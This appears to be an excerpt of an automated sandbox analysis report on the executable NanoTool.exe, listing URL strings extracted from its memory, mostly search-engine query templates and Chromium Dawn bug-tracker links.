      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.incredibar.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.incredibar.com/favicon.icohttp://search.incredibar.com/search.php?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.incredibar.com/search.php?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.snap.do/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.snapdo.com/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.softonic.com/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.softonic.com/img/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.softonic.com/img/favicon.icohttp://search.softonic.com/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.sweetim.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.sweetim.com/favicon.icohttp://search.sweetim.com/search.asp?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.sweetim.com/search.asp?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.tut.by/?ru=1&query=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.tut.by/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.tut.by/favicon.icohttp://search.tut.by/?ru=1&query=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.walla.co.il/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://searchatlas.centrum.cz/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://searchfunmoods.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://searchfunmoods.com/favicon.icohttp://searchfunmoods.com/results.php?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://searchfunmoods.com/results.php?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://start.iminent.com/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://start.iminent.com/StartWeb/1033/homepage/#q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://start.sweetpacks.com/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://start.sweetpacks.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://start.sweetpacks.com/favicon.icohttp://start.sweetpacks.com/search.asp?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://start.sweetpacks.com/search.asp?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://static.mediacentrum.sk/katalog/atlas.sk/images/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://static.mediacentrum.sk/katalog/atlas.sk/images/favicon.icohttps://hladaj.atlas.sk/fulltext/?p
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://szukaj.wp.pl/szukaj.html?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.conduit.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.conduit.com/favicon.icohttp://www.conduit.com/search?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.conduit.com/search?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.delfi.lt/paieska/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.delfi.lv/search_all/?ie=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.delta-search.com/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.delta-search.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.delta-search.com/favicon.icohttp://www.delta-search.com/home?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.delta-search.com/home?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.neti.ee/api/suggestOS?suggestQuery=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.neti.ee/cgi-bin/otsing?query=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.neti.ee/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.neti.ee/favicon.icohttp://www.neti.ee/cgi-bin/otsing?query=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.search-results.com/web?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.search.delta-search.com/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.search.delta-search.com/home?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.searchnu.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.searchnu.com/favicon.icohttp://www.searchnu.com/web?hl=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.searchnu.com/web?hl=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.softonic.com.br/s/
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.softonic.com/s/
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.walla.co.il/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.walla.co.il/favicon.icohttp://search.walla.co.il/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.yhs.delta-search.com/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.yhs.delta-search.com/home?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.zoznam.sk/hladaj.fcgi?s=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www1.delta-search.com/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www1.delta-search.com/home?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www2.delta-search.com/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www2.delta-search.com/home?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ac.search.naver.com/nx/ac?of=os&ie=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://api.oceanhero.today/suggestions?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://api.qwant.com/api/suggest/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ar.search.yahoo.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ar.search.yahoo.com/favicon.icohttps://ar.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ar.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ar.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://at.search.yahoo.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://at.search.yahoo.com/favicon.icohttps://at.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://at.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://at.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://au.search.yahoo.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://au.search.yahoo.com/favicon.icohttps://au.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://au.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://au.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://br.search.yahoo.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://br.search.yahoo.com/favicon.icohttps://br.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://br.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://br.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1178
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1178depth32float-stencil8Support
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1197
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1197shader-f16Supports
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1510
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1510rg11b10ufloat-renderableAllows
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1518
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1518bgra8unorm-storageAllows
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1591
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1591dawn-internal-usagesAdd
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=42
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=42texture-compression-etc2Support
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=434
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=434timestamp-querySupport
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=551
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=551dawn-nativeWebGPU
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=690
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=690chromium-experimental-dp4aSupport
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=955
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=955texture-compression-astcSupport
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/tint/issues/detail?id=1497
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/tint/issues/detail?id=1497indirect-first-instanceSupport
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://buscador.softonic.com/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://buscador.terra.com.ar/Default.aspx?source=Search&ca=s&query=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://buscador.terra.es/Default.aspx?source=Search&ca=s&query=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ca.search.yahoo.com/favicon.ico
